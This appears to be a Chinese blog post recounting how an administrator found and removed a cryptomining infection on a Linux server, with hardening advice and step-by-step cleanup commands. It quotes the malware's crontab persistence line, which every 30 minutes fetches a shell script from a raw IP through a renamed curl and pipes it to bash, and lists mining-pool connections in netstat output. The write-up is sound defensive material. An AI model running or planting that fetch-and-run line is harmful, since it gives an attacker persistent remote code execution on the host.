一大早被监管部门通知,ip访问挖矿地址,不整改要被封禁
于是马上展开排查,每个服务器挨个top完之后cpu利用率并不是很高,一阵纳闷
后来想起来有个深信服防火墙,登上去看看,发现端倪
好家伙看来是真中招了,为什么之前没发现呢,其实病毒一直在请求下载挖矿木马程序,但是基本都被深信服防火墙拦截了,也就是本机一直在下载挖矿木马,但是木马没有真正跑起来
经过一番查找资料以及研究,最终总算解决了这个挖矿病毒,也对安全防护有了更深的思考
安全防护这块:
1.减少暴露端口到公网:不是必须,不要暴露到公网,通过vpn和堡垒机来把内网和公网之间做一个隔离(有一个很好的开源堡垒机jumpserver值得研究),通过二级域名来关联服务,可以有效减少暴露的风险,毕竟黑客通过nmap等扫描探测工具可以很轻松的获取端口信息
2.禁止root登陆:所有机器应该禁止root等管理员账号直接登陆,开启子账号,限制权限,用子账号来启动程序,这样就算黑客通过漏洞控制主机,也只能获得子账号的有限权限
3.限制ssh登陆ip:内网机器设置 hosts.deny sshd:all ,禁止任何机器登陆,只在hosts.allow里开给少数必须登陆的网段,这样就算黑客登陆内网,也可以最大限度减少二次损失
4.升级软件版本:定期扫描应用http等服务漏洞,督促开发升级,降低被攻克的风险
5.加强密码管理:如果比较极端一点,可以把所有机器以及堡垒机,vpn密码等定期更换,堡垒机登陆密码最好引入Authenticator动态密钥加强安全性
6.加强程序来源管理:软件程序最好从官方渠道获取,docker镜像加强安全审计,避免从程序,docker镜像里带入木马
7.做好备份:重要数据和系统定期做好备份,以防止最坏的情况发生
下面是挖矿木马的处理总结,需要按以下维度依次排查
1.查找近期操作命令,获取线索
2 清除问题账号所有数据,以及 .ssh里的后门(包括root)
3 清除定时任务
4. 杀死可疑的进程和删掉可疑的程序文件
5.用防火墙禁用异常ip
6. 查看重要的命令是否有被修改,有的话进行修复
7. 查找被攻击的缘由
8.参照第一个安全防护进行整改
处理之前首先了解两个命令 lsattr 和 chattr,这两个是用来查找和修改文件属性的
chattr +i 防止系统中某个关键文件被修改
chattr +a 让某个文件只能往里面追加数据,但不能删除
当删除不了文件和修改文件时首先用lsattr查看这两个属性,通过chattr -ia来去除这个限制
注:有的时候黑客会把chattr kill top等命令除去执行权限并加上ia属性限制
这个时候只能从另外一台主机远程scp chattr 命令到该虚机, 解除top kill ps chattr等相关命令的执行限制
1.查看历史命令,获取线索
#查找历史命令
history
# 查找 home etc 目录下 最近一天(可以适当提前)被修改的文件(如果使用/根目录,文件会很多所以这里指定有怀疑的目录)
find /home -mtime -1 -print
find /etc -mtime -1 -print
2.清除问题账号所有数据,以及 .ssh里的后门(包括root)
#查找问题账号,发现多了lsb和hilde账号
vi /etc/passwd
#查找关键文件隐藏权限
lsattr /etc/passwd /etc/shadow /etc/group /etc/gshadow /var/spool/cron/root /home/lsb/.ssh /home/hilde/.ssh /root/.ssh
#去除隐藏权限
chattr -iae /etc/passwd /etc/shadow /etc/group /etc/gshadow /var/spool/cron/root /home/lsb/.ssh/authoriz* /home/hilde/.ssh/authoriz* /root/.ssh/authoriz*
#删除shadow文件重复项
chmod 644 /etc/shadow
vi /etc/shadow
#删除后门用户以及关联数据
userdel -r -f lsb
userdel -r -f hilde
#检查 root .ssh路径下的文件,防止后门
3.清除定时任务
crontab -l 中有定时任务
*/30 * * * * /bin/cdz -fsSL http://104.192.82.138/s3f1015/a/a.sh | bash > /dev/null 2>&1
crontab -e 是删除不掉的,得从文件入手:
/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
依次检查这些目录下的文件,发现有连接异常ip,用 lsattr 和 chattr来清除属性并删除
4. 杀死可疑的进程和删掉可疑的程序文件
查找异常进程可以从两个维度入手,cpu占用以及网络连接
#cpu占用查找
top
#查找异常网络连接,发先好多对端ip是国外的,保存列表,后面能用到
netstat -aptunl
[root@localhost python]# netstat -apun
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:37472 0.0.0.0:* 689368/.ddns
udp 0 0 0.0.0.0:56900 0.0.0.0:* 689368/.ddns
udp 0 0 127.0.0.1:323 0.0.0.0:* 705798/chronyd
udp6 0 0 ::1:55909 ::1:55909 ESTABLISHED 701061/postmaster
udp6 0 0 ::1:323 :::* 705798/chronyd
[root@localhost python]# netstat -aptn
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:18083 0.0.0.0:* LISTEN 2976/emqx
tcp 0 0 0.0.0.0:27017 0.0.0.0:* LISTEN 1853/mongod
tcp 0 0 0.0.0.0:11755 0.0.0.0:* LISTEN 2592117/nginx: mast
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 762093/redis-server
tcp 0 0 127.0.0.1:11883 0.0.0.0:* LISTEN 2976/emqx
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 2592117/nginx: mast
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2592117/nginx: mast
tcp 0 0 0.0.0.0:8081 0.0.0.0:* LISTEN 2976/emqx
tcp 0 0 0.0.0.0:18002 0.0.0.0:* LISTEN 2592117/nginx: mast
tcp 0 0 0.0.0.0:4370 0.0.0.0:* LISTEN 2976/emqx
tcp 0 0 0.0.0.0:8883 0.0.0.0:* LISTEN 2976/emqx
tcp 0 0 0.0.0.0:8083 0.0.0.0:* LISTEN 2976/emqx
tcp 0 0 0.0.0.0:8084 0.0.0.0:* LISTEN 2976/emqx
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 701074/sshd
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN 701061/postmaster
tcp 0 0 0.0.0.0:19001 0.0.0.0:* LISTEN 2592117/nginx: mast
tcp 0 0 0.0.0.0:5370 0.0.0.0:* LISTEN 2976/emqx
tcp 0 0 0.0.0.0:1883 0.0.0.0:* LISTEN 2976/emqx
tcp 0 0 0.0.0.0:11394 0.0.0.0:* LISTEN 2592117/nginx: mast
tcp 0 1 10.30.30.113:50470 194.147.115.91:45432 SYN_SENT 688822/./.ddns
tcp 0 0 10.30.30.113:22 36.152.54.67:6824 ESTABLISHED 129619/sshd: root [
tcp 0 1 10.30.30.113:38796 199.247.27.41:443 SYN_SENT 688822/./.ddns
tcp 0 1 10.30.30.113:52390 178.128.242.134:3333 SYN_SENT 689368/.ddns
tcp 0 232 10.30.30.113:22 36.152.54.67:29714 ESTABLISHED 263581/sshd: root [
tcp 0 1 10.30.30.113:38802 199.247.27.41:443 SYN_SENT 689368/.ddns
tcp 0 1 10.30.30.113:52388 178.128.242.134:3333 SYN_SENT 688822/./.ddns
tcp 0 1 10.30.30.113:50468 194.147.115.91:45432 SYN_SENT 689368/.ddns
tcp6 0 0 :::80 :::* LISTEN 2592117/nginx: mast
tcp6 0 0 :::22 :::* LISTEN 701074/sshd
tcp6 0 0 :::5432 :::* LISTEN 701061/postmaster
#查找子进程
systemctl status 病毒进程id
#定位问题进程以及子进程文件路径
ll -a /proc/病毒进程id
#依次杀掉子进程
kill -9 病毒进程id 病毒进程id 病毒进程id
#排查并删除问题进程文件,删不掉用lsattr和chattr去除文件属性
5.用防火墙禁用异常ip
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="58.218.198.159" port protocol="tcp" drop"
6.复查
处理完之后重启系统,用netstat -aptunl 和top 命令复查,没有异常即可
7.查找原因以及安全加固
参考文档:
https://www.runoob.com/linux/linux-comm-lsattr.html
https://www.runoob.com/w3cnote/linux-crontab-tasks.html
https://blog.csdn.net/zm96309/article/details/123174783
https://blog.csdn.net/weixin_40918067/article/details/117431325
https://dongshao.blog.csdn.net/article/details/116830299
http://www.manongjc.com/detail/52-hfniphnpmckcnbp.html
https://blog.csdn.net/qq386972715/article/details/122116546
https://blog.csdn.net/a1053765496/article/details/121900552
https://blog.csdn.net/weixin_44766368/article/details/115317941
https://www.cnblogs.com/DeveloperPan/p/linuxfindpidpath.html
https://www.jianshu.com/p/bd91f3f1d4f8
https://anttu.gitee.io/post/2021-01-28-miner_virus_2/